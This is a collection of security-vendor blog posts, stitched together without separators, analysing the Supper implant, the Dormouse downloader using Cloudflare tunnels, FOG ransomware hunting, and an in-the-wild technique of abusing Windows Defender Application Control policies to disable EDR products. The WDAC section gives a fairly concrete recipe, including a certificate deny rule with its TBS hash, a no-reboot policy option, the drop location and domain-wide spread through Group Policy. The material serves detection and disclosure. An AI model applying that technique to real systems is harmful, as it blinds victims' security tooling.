This second-stage payload is a heavily obfuscated DLL that has extensive anti-analysis and anti-debug functionality built into it. At one point during dynamic analysis, the following string was decoded to memory:

{"iptarget": "%d.%d.%d.%d", "domain": "%s", "pcname": "%s", "runas": %d, "typef": %d, "veros": %d}

This was an excellent indicator to try pivoting searches from, which eventually led us to this tweet from a malware analyst named @Simo. It appears that this particular piece of malware has been seen before, and antivirus companies have dubbed it “Supper.” We downloaded these other samples and read through the little bit of public reporting to confirm and verify they match the behaviors seen in our sample.

Supper is a very small implant with minimal functionality. Its main purpose is to provide threat actors with command line access to a victim (enabling “hands on keyboard” activity). When analyzed in a sandbox, it can be observed dropping a temporary file with a hardcoded file name:

Figure 2: Hardcoded filename

This filename is easily changed, so while it might not be useful as a detection, searching for it in repositories like VirusTotal can provide a rough outline of the campaign using this version of the Supper implant. In this case, searching on this filename returned thirteen other samples seen in use from September through December (the samples we discovered are included in the IOC section).

Another important finding when looking through our sample was a set of three hardcoded callback IPs:

Figure 3: Hardcoded C2

Although threat actors can easily transition away from the IP addresses found in this sample (like the filename mentioned above), investigating threat actor infrastructure can often uncover more tooling or additional linked infrastructure related to this specific campaign. Below is a search result of one of those IPs in VirusTotal, showing nine similarly named executables that communicate with it:

Figure 4: Highly similar samples, likely from the same campaign

These results are meaningful in that all the “communicating files” for this IP are similarly named and have “first seen” timestamps close together. Working off the reasonable assumption that these samples are from the same campaign, we can then look at the submission country and get a rough idea of the campaign scope. In this case, it included potential targets in India, Canada, Germany, Netherlands, France, and the US.

As previously mentioned, the main function of this malware appears to be to provide the threat actors with a foothold on the system. It will connect back to the threat actor and enable them to run commands directly via cmd.exe or accept a DLL file and run it via runDLL. Here is a call tree for CreateProcess that graphs out that functionality:

Figure 5: CreateProcessA Call Graph

A competent threat actor will not need much more than this, as evidenced by the attempted commands in our previous blog post demonstrating them extracting the SAM hive. Any further tooling, pivoting, or follow-up activity can then be uploaded and executed via Supper.

Endgame: Interlock Ransomware

Thankfully in our case, our MXDR solution detected the activity and enabled our MDR team to respond and contain the attempt attack. Only one bit of useful information was left out: what were the threat actors trying to do? Normal cybercriminal operations would never stop at just one machine. They would have pivoted to as many machines as possible, and then likely sell access, exfiltrate data for extortion, or deploy ransomware. When we searched around for the indicators we had, no information on end result came up. So, we temporarily put a pin in this and continued to monitor for potentially similarly activity.

Beazley Security learned from law enforcement that a threat actor’s activity log found on a seized server is linked to a new ransomware group. This allowed our team to confirm the activity was associated with the emerging ransomware group, Interlock.

Conclusion

Cybercriminals continue to maximize financial gain. If an attack vector is simple but effective, it will quickly be operationalized and widely abused. This is illustrated by the fake CAPTCHA scam technique, which emerged last year and continues to lead to Incident Response cases handled by Beazley Security, including several this month. This method remains so successful that threat actors are evolving the technique.

Sources

• Uptick in Fake Captcha Campaigns Tricking Users to Deliver Malware

• Think twice before you click: this captcha might steal your money

• This Windows PowerShell Phish Has Scary Potential

• Simo tweet on Supper malware

• AnyRun tweet on fake CAPTCHA attacks

Indicators of Compromise (IoCs)

Windows Defender Application Control (WDAC) is a well-known security feature of various Microsoft Windows products. It works by leveraging integrity policies to restrict and/or enable the code and applications that can be run in user and kernel mode. While there are many resources on leveraging this tool to ensure that only organizational tools are whitelisted, there was little writing on how attackers can use WDAC to limit security tools. The earliest we observed WDAC being used adversarially was in early August 2024 and the most recent identification of the specific payloads Beazley Security Labs team found was a blog post and proof-of-concept tooling from Jonathan Beierle and Logan Goins in late December 2024. When contacting various industry EDR solutions, we found that WDAC was recognized as a potential vulnerability, but not sufficiently prevented with a crafted policy explained below.

We would like to thank Jonathan Beierle, Logan Goins, and the Beazley Security IR Team (Jacob Wellnitz, James Navarro, Logan Tumminello, and Ralph Bailey) for their work.

Every EDR solution we have attempted to disable apart from Windows Defender is affected by this attack. We have contacted the EDR solutions expressing this vulnerability and their responses are listed in the conclusion of this post. From what we have observed and reported, all EDR solutions are vulnerable and should be aware of this technique. In this writeup, we will document the specific payload we observed, but as noted, this is not a vulnerability created from technical implementations of any individual EDR solution.

Repeating the Attack

In order to disable a currently running EDR or security product, the attacker simply needs to place a crafted policy to C:\Windows\System32\CodeIntegrity and reboot.

After a reboot, we can see the EDR kernel hooks fail to initialize when accessing specific tools, in this case OneDrive.exe.

Technical Details

Windows Defender Access Control (WDAC) is automatically enabled on Windows Server 2016, 2019, 2022, and 2025, and Windows 10 and Windows 11. Beazley Security Labs has validated this abuse on Windows 10 and Windows 11. While WDAC is not new, using it to apply policies that subvert security tooling is. To accomplish this, policies are presented to the computer as P7B files and trivially converted into their XML definitions which can be created and edited using Windows provided utilities. We will use Microsoft's App Control Policy Wizard for this purpose, which is commonly used and can illustrate of the policy creations.

Note: While the policy wizard claims that P7B files are deployable to Windows 10, Server 2016, and Server 2019 we have confirmed their use with Windows 11 as well

The specific policy presented in Beierle's Blog is based on the Default Windows Mode policy which authorizes "Windows OS Components", "MS Store Applications", Office 365, OneDrive, Teams and "WHQL Signed Kernel Drivers". We have observed that without specific allow rules, applying the custom policy results in instability on reboot, even with a benign usermode or kernel block rule. This aligns with the attack we observed, which used these defaults in their policy.

One policy requirement is that the custom policy must disable runtime filepath rules. Beierle's post defines the process of adding a custom rule that allows arbitrary code to be executed from a specific path, but it does not mention out that custom rules can be used to deny security features in Windows. Beierle has confirmed with Beazley Security that disabling security tooling was known at the time of his reporting, but was not explicitly called out as a disabling mechanism. We observed this technique in both the whitelisting of the attackers toolchain as well as blocking of EDR solutions.

Custom policies that whitelist specific paths on the machine can be used to bypass EDR, which functionally allows the EDR to collect telemetry but not prevent the attack. Blocking an EDR solution would prevent it from initializing and, as a result, prevent the EDR solution from collecting any data on how the machine was compromised. In many of the EDR solutions we've tested blocking a specific file hash or a path from executing can prevent the machine from booting because the security tooling is often implemented at the kernel level. We have confirmed this crashing behavior by creating custom policies that deny specific EDR executables and paths, which caused instability at startup. However, policies can be created that indirectly reference an executable's signing certificate and allows the machine to boot to a vulnerable state, preventing telemetry gathering and exploit mitigations.

This behavior is accessible by is a selectable field when creating a policy with the App Control Policy Wizard.

We then can find a certificate for a specific EDR solution and export it relatively easily

SentinelOne's Intermediate Signing Certificate

Elastic's Intermediate Signing Certificate

CrowdStrike's Intermediate Signing Certificate

As you can observe, the intermediate signing key for many security tools is the same. We have concluded that this is unintended, but given that the certificate chain for many of the EDR solutions we have tested contains this DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, inclusion of this key as a deny rule will result in the prevention of many Security tools. Apart from how confounding the ubiquity of this signing key may be, this key is doubly troubling as it is included within Microsoft recommended driver block rules as a blocked signer.

It's worth nothing this policy is executing in `Audit Mode` and according to MS WDAC documentation Audit Mode will not prevent code from running and only log the execution of the process in the Event Log for review. However, simply following the Policy Wizard's workflow can result in the creation of a policy using these default block rules while disabling audit rules. We believe that this specific signature inclusion was what lead to the discovery of this attack.

Knowing these mechanics, we can also craft a specific policy that will take effect before the machine reboots (albeit partially) with the following rule option. However, given that most EDR solutions already running on the machine will have already been initialized, attackers would likely ere on the side of caution and force a reboot regardless.

... <Rule> <Option>Enabled: Update Policy No Reboot</Option> </Rule> ...

The outputted P7B file and XML file then link the signing key with a TBSHash. The attacker can obfuscate the Signer because the TBS hash contains the required fields to map the specific certificate to one in the machines Certificate Authority.

... <Signer Name="DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" ID="ID_SIGNER_S_0"> <CertRoot Type="TBS" Value="65B1D4076A89AE273F57E6EEEDECB3EAE129B4168F76FA7671914CDF461D542255C59D9B85B916AE0CA6FC0FCF7A8E64"/> </Signer> ...

This means that we can hide several certificates within the policy with any names we desire so long as we can verify that the machine boots as expected without their invocation.

Validating these TBS hashes is performed by hashing the fields from the x509 certificate and adding a poison extension to the end-entity. src

Certificate ::= SEQUENCE { tbsCertificate TBSCertificate, signatureAlgorithm AlgorithmIdentifier, signatureValue BIT STRING }

TBSCertificate ::= SEQUENCE { version [0] EXPLICIT Version DEFAULT v1, serialNumber CertificateSerialNumber, signature AlgorithmIdentifier, issuer Name, validity Validity, subject Name, subjectPublicKeyInfo SubjectPublicKeyInfo, issuerUniqueID [1] IMPLICIT UniqueIdentifier OPTIONAL, -- If present, version MUST be v2 or v3 subjectUniqueID [2] IMPLICIT UniqueIdentifier OPTIONAL, -- If present, version MUST be v2 or v3 extensions [3] EXPLICIT Extensions OPTIONAL -- If present, version MUST be v3

The hashes that exist in our custom policy rule and the Windows Event Log are 48 bytes long, and therefore are SHA348 hash. Fetching certificates from a machine can be trivially performed with PowerShell and their hashes can be trivially computed with any library that parses x509 certificates and a hashing library.

The last component in our policy is whitelisting. After many attempts at creating policies with allow rules, we have concluded that allow rules must be applied for every executable on the device. This behavior is counter-intuitive, as it was expected that WDAC should fail open on executions that don't have any related rules. There is documentation on the order in which these rules are processed. It appears that without Audit Mode enabled, many utilities are unable to be executed while a policy is active.

Knowing this behavior, an attacker would be lead to simply whitelist file paths for their toolkits. This was observed in the malicious payload we collected.

Now with the payload an attacker can move it into C:\Windows\System32\CodeIntegrity with administrative credentials and trigger the rest of their attacks.

We can observe through the Windows Event Viewer the EDR solution fail to initialize in Event ID 8036 and 3077.

Compounding Factors

In an attempt at testing WDAC exhaustively, we have attempted creating other policy types and have found little success. COM Object declarations appear to affect registration rather than execution. Path and File attribute related rules are relatively well known and observed in existing WDAC Policies and do not need further elaboration. However given the time it takes to inspect a policy, and WDAC's restrictive behavior once applied, it behooves security tools to treat all WDAC policies as suspicious or an attempt to bypass or disable their behavior.

During this Incident Response investigation, we were able to retrieve the policy to begin work in understanding the attack, but it should be noted that the policy can be pre-crafted and deployed in multiple ways. Beierle and Goin's Kreuger tool will run in memory using `inLineExecute-Assemby` for example. Therefore the time needed to execute this attack is limited only to the time to transfer the file to disk. Doubly so, a policy crafted to prevent specific calls from an incident responder can be used to prevent the policy from being observed and reversed.

During our testing, we replicated this attack on a single host. However, as noted in Beierle's blog and as seen during our Incident Response investigations, attackers can abuse Group Policy Objects to distribute these policies to every machine in a domain, rendering EDR ineffective across an entire organization.

EDR Vendor Response

As part of our investigation and response to this being abused in the wild, Beazley Security Labs coordinated with our partner, SentinelOne, on February 18th to inform them of this issue. We collaborated to confirm this attacks general effectiveness against several EDR solutions. SentinelOne recently discovered the issue in parallel with our research and has coordinated with Beazley Security to ensure that protection is available for its customers. We'd like to thank SentinelOne for their collaboration in responding to this abuse.

After communication with Beierle we have also confirmed that CrowdStrike and Elastic were also notified of this attack upon his initial posting. Beazley Security begun collaborating with CrowdStrike on February 24th and they were able to confirm their development of detections related to this attack.

We have received communications from Elastic on February 28th confirming their knowledge of the attack from a Github issue. Elastic has stated they have an existing detection they will validate and promote to production, and are not do not have plans to produce a prevent against this attack due to the legitimate use of WDAC in enterprise environments.

Beazley Security Labs would like to thank Ralph Bailey, Kelsey O'Connell, and Troy Walters from Beazley Security MDR for their investigative efforts used to describe the timeline of events in this blog post, along with their support in pulling suspicious binaries dropped as part of this attack. Beazley Security Labs would also like to thank Tom Hegel at Sentinel One for his guidance and assistance in the initial phases of this investigation.

Incident Details

This investigation began when our MXDR solution generated the following alerts by leveraging raw Endpoint Detection and Response (EDR) telemetry:

• Outbound network connection via command line PowerShell

• Domain account discovery via net.exe

• Execution of nltest

This activity occurred within a short amount of time and on the same endpoint at a specific client site, so our MXDR solution correlated them together and escalated the alerts as a group. Our SOC team identified the activity originated with a malicious executable being downloaded and executed via obfuscated PowerShell. We have taken to calling this malicious DLL ‘Dormouse’ for reasons we will explain below. The threat actor then followed up by installing CrossTec Remote Control, a remote administration tool created by a legitimate software company.

The threat actor quickly moved to reconnaissance on the internal environment by enumerating possible Active Directory domain controllers, domain admins, extracting the Security Account Manager (SAM) registry hive for user passwords, and checking user permissions. Some of the threat actor tools also started achieving persistence through Windows Autorun registry keys and the Windows task scheduler. Given all of the activity observed, Beazley Security MDR immediately reacted to contain the activity by isolating the endpoint from the network.

A condensed kill chain is presented below, and a more detailed timeline can be found in the appendix.

Figure 1: Threat Campaign Kill Chain

The Downloader (Dormouse)

Beazley Security Labs chose to focus analysis on the binary that performs the initial C2 callback to the Cloudflare tunnels. This file (asdin2oe.exe) on the surface, looks like a PyInstaller package. PyInstaller is a legitimate packaging system to deliver python scripts as standalone Windows executables. As such, the file will drop a lot of Python related libraries but does not appear to drop an actual packaged python script. What it does drop is a small DLL file that it will execute via rundll32:

lang:powershell rundll32.exe C:\Users\<USER>\AppData\Roaming\qWDwLtxA\3bXh3hAE.ywe start

Note: the path and executable names above were dynamically generated from the downloader and should not be used for detection rules

This small DLL has an encoded configuration that it decodes during runtime using a large XOR key:

Figure 2: Downloader Decoding C2 Configuration

There are a few things in the decoded configuration block, but these three are most interesting:

• PowerShell that checks privileges before executing ‘systeminfo’

• Hard coded HTTP POST headers used when connecting back to C2

• Six hardcoded Cloudflare tunnel domains. Dormouse will randomly select one to connect to.

Before connecting back to its randomly selected C2, this downloader will:

• Take the output from the ‘systeminfo’ command execution mentioned above

• Prepend a hardcoded value (in our case, ‘01075\n’)

• XOR this data with a hardcoded key (in our case, 0x78)

This XOR’d data is the payload sent back to C2 upon callback.

Figure 3: XOR’d systeminfo output prior to C2

Once we knew a little about this small downloader DLL, we used its static attributes and dynamic behaviors to search for more samples of it in VirusTotal. A few of the behaviors we pivoted searches on included:

• C2 URL consistent pattern: <x>-<x>-<x>-<x>.trycloudflare[.]com/init1234

• Runs systeminfo (the output is part of the C2 callback)

• A DLL with just two exports: ‘DllEntryPoint’, ‘start’

• PowerShell calling ‘[Security.Principal.WindowsIdentity]::GetCurrent().Name’

Through these searches, we found eight additional samples of this downloader. All eight appeared to have been originally packaged in PyInstaller packages. The two earliest submitted samples had the lowest detection rates, showing how benign software package systems can be used to deliver malware.

Each sample of this downloader has a random word set as its internal product name (we saw ‘shiniest’, ‘vacuuming’, ‘misspellings’, etc.), and the one that found its way into our client environment was named ‘dormouse’.

Figure 4: Internal filename for downloader

A dormouse is a very small type of rodent, which is coincidentally fitting as this is a relatively small binary. There is quite a bit of junk code, but the functional parts appear to just check-in to C2, download payloads, and execute them. There does not appear to be any kind of remote-control functionality or processed commands. Hence, we started referring to this downloader internally as ‘dormouse’ and integrated the name into the theme of this blog post.

Abusing Cloudflare Tunnels

The domains used for dormouse’s C2 were also interesting. At first glance, the six hardcoded C2 domains used by the downloader mentioned above appeared to perhaps be attacker-controlled domains masquerading as a legitimate service. The general pattern was as follows: four random words prepended to ‘trycloudflare.com’.

<x>-<x>-<x>-<x>.trycloudflare[.]com

The `trycloudflare.com` domain is a legitimate Cloudflare service that lets users create "Cloudflare Argo Tunnels" with a single command, even without an account as seen in the image below:

Figure 5: Overview of try.cloudflare.com

The service creates a random temporary domain using the scheme described above and will tunnel traffic to the temporary domain to a server defined by the user. This service is provided in a free and automated way. You can read Cloudflare’s service documentation here.

While it is great for potential Cloudflare customers, it is not as great for network defenders as threat actors have yet another method to generate quick throw-away domains that tunnel traffic through a trusted service. Threat actors realized this quickly and have been abusing it since at least January of 2023, as reported by Phylum. There was also a report of various commodity RATs and worms using this technique earlier this year, as reported by Proofpoint. As organizations move more and more to the cloud, we expect more service companies to provide similar services such as the Microsoft Dev Tunnels described here.

Indicators of Compromise (IOCs)

Conclusion

The Cybersecurity industry has always been a cat and mouse game. To avoid detection, Threat Actors leverage a variety of techniques and legitimate software and services to try and “blend in” with the huge volume of legitimate activity in an average organization’s I.T. environment.

In this case, we saw PyInstaller, Cloudflare Argo Tunnels, and the CrossTec Remote Control Application used in an attempt to blend in. Defenders must stay aware of all the continually evolving, novel ways threat actors will hide malicious activity amongst the noise.

Stay tuned for a future blog post with additional details into other binaries dropped as part of this attack campaign.

Appendix

Observed Activity

Sources

• https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/

• https://blog.phylum.io/a-deep-dive-into-powerat-a-newly-discovered-stealer-rat-combo-polluting-pypi/

• https://www.proofpoint.com/us/blog/threat-insight/threat-actor-abuses-cloudflare-tunnels-deliver-rats

• https://newtonpaul.com/tunneling-c2-through-microsoft-dev-tunnels/

FOG ransomware was first detected in May 2024, and they had no dark web leak site in the early stages of the activity. A thorough write-up of some initial Fog infection cases was reported in a blog from Arctic Wolf. They negotiated with victims on dark web chat pages listed in the ransom notes they left. In mid July, a dark web leak site was discovered where seven victims were posted in the creation of the website.

Fog leverages compromised VPN credentials to attack vulnerable networks and gain initial access into the network. Once they get inside the network, they perform "Pass-the-hash" attacks in the network. A "Pass-the-Hash" attack occurs when an adversary intercepts a hashed user credential and leverages it to initiate a new session within the same network. Following this, the attacker may employ tools like SharpShares to facilitate the discovery and enumeration of accessible network shares. Once successful, they establish a Remote Desktop Protocol (RDP) connection to a Windows server running Hyper-V and Veeam. If they are unsuccessful with "Pass-the-hash" attacks we have observed them using credential stuffing, which allowed them to laterally move throughout the environment. Regardless of the specific lateral movement technique employed, PsExec was deployed across multiple systems, and RDP was utilized to access the targeted machines.

FOG ransomware is known for encrypting files, including virtual machine storage, and disabling security defenses such as Windows Defender prior to initiating its encryption process. The malware appends a ".fog" or ".flocked" extension to the encrypted files and virtual machine disk (VMDKs) and generates a ransom note in the form of a text file named "readme.txt." This file contains instructions for victims on how to contact the attackers through a Tor-based negotiation site to discuss ransom payments. Besides for a unique chat code that is left in the "readme.txt", reason notes that we have observed are all identical.

Technical Details

The initial report on Fog from Arctic Wolf lists a few executable file hashes, and at time of writing only one was publicly available in VirusTotal. Fortunately VirusTotal also provides many ways to pivot searches, and we were able to find several more samples. Some AV vendors have detection logic that will tag samples with searchable malware names:

(ahnlab_v3:fog or microsoft:fog or gdata:fog or trendmicro_housecall:fog or trendmicro:fog or alibabacloud:fog or symantec:fog) fs:2020-01-01+

Which yielded the following samples:

We then decided to study these samples closer to see if there were more methodical ways to find and identify this ransomware family. To start, we noticed that the debug log system in Fog reported by Arctic Wolf isn't hidden or obfuscated and can be seen at a surface level:

This means the logging strings can be used as a reliable Yara rule. Then, from a behavioral standpoint, we studied in particular this section of code where Fog parses the command line, then loads internal configuration:

We noticed that Fog will quietly exit out if no parameters are passed, but will log debug messages to a dropped file named DbgLog.sys. This means any sandbox analysis of a Fog sample (like VirusTotal provides) may not exhibit ransom behavior if no parameters are passed, but the dropping of the debug log file will work as a malware corpus search, or a threat hunt. This type of search, paired with the Yara rule mentioned above, both leveraged in VirusTotal yielded the following additional 12 Fog samples:

This was more than enough samples to start studying them as a group, so we started looking for similarities and differences between all these samples. VirusTotal provides a very helpful feature where you can select a group of files and show byte patterns that are present in multiple files in your selection. After some time, we identified four byte patterns that showed up in the seven samples we were comparing. A search through the code revealed those byte patterns to be related to the part of the Fog locker code that unpacks its internal configuration settings into memory.

The four byte patterns that show up in this small but important section of code can function as a sort of fingerprint for identifying Fog samples, so we created a Yara rule and are using it to monitor VirusTotal submissions for new Fog samples.

Interestingly, this rule also started detecting the Fog unlockers, which at time of writing, are not tagged by AV vendors as Fog samples. Generally, if a company pays the ransom in order to get an unlocker to free their data, they will not show up in the Fog leak site. Tracking these unlockers is also useful, as it can give us a rough (but imperfect) sense of possible non-public Fog cases in the wild. Below is a list of the unlockers this search rule has found:

Timeline

As of 10-22-2024 FOG has published 32 different companies, releasing this leak data on their blog.

Indicators of Compromise (IoCs)